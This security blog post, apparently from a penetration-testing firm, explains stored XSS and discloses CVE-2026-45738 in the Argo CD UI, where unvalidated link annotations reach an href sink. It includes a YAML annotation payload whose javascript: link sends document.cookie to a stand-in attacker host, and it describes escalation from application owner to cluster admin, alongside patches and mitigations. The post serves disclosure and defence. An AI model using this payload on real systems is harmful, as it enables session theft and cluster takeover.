Web/API Penetration TestJan Kahmen6 min read

Stored XSS and Its Dangers: Anatomy of a Persistent Attack Surface

Stored XSS persists in the backend and fires on every render. The anatomy of the sink, trust context, and privilege escalation of an underrated XSS class.

Why Stored XSS Is Its Own Risk Class

Cross-Site Scripting has been on the OWASP Top 10 for two decades, and yet risk assessments still routinely conflate Reflected and Stored XSS. Both variants end the same way — script execution in the victim's browser inside the target application's trust context — but the path to that outcome is what separates them. Reflected XSS requires a crafted link and a victim who clicks it. Stored XSS lands in the backend, persists there, and fires anew on every page load by any authenticated user. An attacker who plants a Stored XSS payload no longer waits for phishing to succeed; the system itself takes over delivery.

This article explains the technical anatomy of Stored XSS and shows, through CVE-2026-45738 (GHSA-h98r-wv3h-fr38) — which our analyst uncovered while reviewing the Argo CD UI — what concrete damage the pattern causes inside a GitOps stack.

Anatomy of a Stored XSS

A Stored XSS has three ingredients, and all three have to align: a source that accepts user-controlled data, a persistence layer that stores that data server-side, and a sink that drops the data into the DOM unsanitized at render time. In web applications, the source is usually a form field, an API payload, or a configuration option. The persistence layer is a relational database, a document store, an etcd cluster, or — in Kubernetes-native applications — the custom resource itself. The sink is a UI component that writes data into innerHTML, into a React attribute, or into a DOM property without context-aware encoding.

Sinks vary by framework. In classic server-side templates, the issue is a missing HTML entity encoding step. In React applications, it is dangerouslySetInnerHTML calls or URI-bearing attributes like href, src, or formAction set without a scheme allowlist. That second class is exactly where the Argo CD bug sits.

What Makes Stored More Dangerous Than Reflected

Three properties explain the higher risk class. First, reach: a single stored payload hits every user who visits the affected page; the attacker does not need to phish each victim individually. Second, trust context: the victim arrives on the page under their own steam, with none of the classic phishing tells like unknown domains or shortened URLs. Third, authentication state: Stored XSS hits exactly the people currently working in the application — so they are practically guaranteed to be logged in, with all cookies, tokens, and API access ready for the injected code to grab.

In security-critical stacks, a fourth property joins the list: privilege escalation. When a low-privileged account can deposit data that a higher-privileged user will later view, the XSS automatically escalates to the highest available access level. That is exactly the pattern CVE-2026-45738 exploits.

The Finding: CVE-2026-45738 in Argo CD

Argo CD is a declarative GitOps controller for Kubernetes and, in many production cloud setups, the central deployment tool. Applications are defined as Application CRDs; each Application can carry Kubernetes annotations, among them link annotations of the form link.argocd.argoproj.io/<name>. Those annotations are rendered in the Argo CD UI's Summary tab as clickable references to external dashboards, runbooks, or repository URLs.

Our analyst audited the responsible React component at ui/src/app/applications/components/application-summary/application-summary.tsx and found a sink without URL validation on line 277. The annotation value is split on the pipe character, parts[0] becomes the visible link label, and parts[1] is written directly into the href attribute. The sibling ApplicationURLs component in the same repository does have an isValidURL() check that blocks javascript: schemes. The Summary component does not. React 16, which Argo CD uses, does not strip javascript: URIs from href attributes on its own.

The result: a developer with write access to an Application can plant an annotation like

metadata:
  annotations:
    link.argocd.argoproj.io/runbook: "View Runbook|javascript:fetch('https://attacker.example/x?c='+document.cookie)"

The displayed label reads innocuously as "View Runbook." The moment an admin opens the Summary tab and clicks the link, the JavaScript payload executes in the Argo CD origin context with the admin's full session. Persistence lives inside the Kubernetes custom resource itself — a git revert alone does not neutralize the issue as long as the compromised annotation stays in the cluster.

What the Damage Actually Looks Like

The CVSS score of 7.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N) sounds moderate. In a GitOps context, that rating is conservative, because Argo CD's privilege model is typically layered cleanly: developers have write access to their application manifests, admins control the Argo CD tenant, cluster credentials, and global project configuration. The moment an admin triggers the payload, an application owner escalates to full cluster admin via the Argo CD API.

The injected code, running with the admin session, can modify RBAC policies, create new projects with access to production clusters, exfiltrate repository credentials and SSH keys, or deploy its own applications with sync-wave hooks that spin up pods with ServiceAccount mounts. In the MITRE ATT&CK model, this maps to T1078 Valid Accounts and T1098 Account Manipulation; the initial script execution itself covers T1059.007.

A particularly nasty property: the payload is essentially invisible to the victim. Most browsers display either nothing or a truncated form for javascript: URIs in the href tooltip. The application otherwise looks exactly the way the admin knows it. Detection cannot rely on the UI; it has to happen at the API or audit-log layer, ideally where the annotations are committed into etcd.

Patch and Mitigation

Argo CD has shipped the fix in versions 3.2.12, 3.3.10, and 3.4.2. Operators running an older release should upgrade now. The official upgrade overview lives in the Argo CD documentation.

If change management prevents an immediate patch, two hardening steps apply. First, a Kubernetes admission policy — via Kyverno or Gatekeeper — that rejects values in link.argocd.argoproj.io/* annotations starting with javascript:, data:, or anything other than https://. That closes the persistence path before it ever reaches the Argo CD API. Second, a strict Content Security Policy with script-src 'self', no 'unsafe-inline', and no 'unsafe-eval', which blocks inline script execution. The OWASP Cross Site Scripting Prevention Cheat Sheet lays out the defense-in-depth layers in detail.

Lessons for GitOps and Kubernetes Stacks

The incident is a useful prompt to revisit three assumptions in the stack. First, any UI component that sets href or src from user-controlled data needs a scheme allowlist. A simple allowedSchemes = ['http:', 'https:', 'mailto:'] and a central helper that every component validates against would have structurally prevented CVE-2026-45738. Second, Kubernetes annotations are not an "inert metadata field." The moment a UI layer renders them, they are an injection source in the same risk class as form input. Third, privilege models in cluster-native tools tend to stratify access strongly — the property that makes this XSS so valuable is not the rendering bug alone, but the fact that writers and readers operate at different privilege levels.

A targeted penetration test against a GitOps tool's UI reliably surfaces this sink class, because the "annotation or label renders into an attribute" pattern recurs across multiple Kubernetes tools. Teams serious about their stack should audit not only the declarative configuration but the component that displays it.

Conclusion

Stored XSS differs from its reflected sibling less in payload than in delivery model. A string, once injected, waits quietly in the backend until a legitimate user calls it up in the right trust context. CVE-2026-45738 is a textbook case because the bug sits precisely at the intersection of two realities: a seemingly harmless configuration option and a UI that trusts that option too much. Anyone running GitOps in production should upgrade to 3.2.12, 3.3.10, or 3.4.2 today, place an admission policy in front of it, and review every other href sink in the UI code. And anyone planning an audit should look not only at application inputs but at the metadata the cluster quietly stores every day.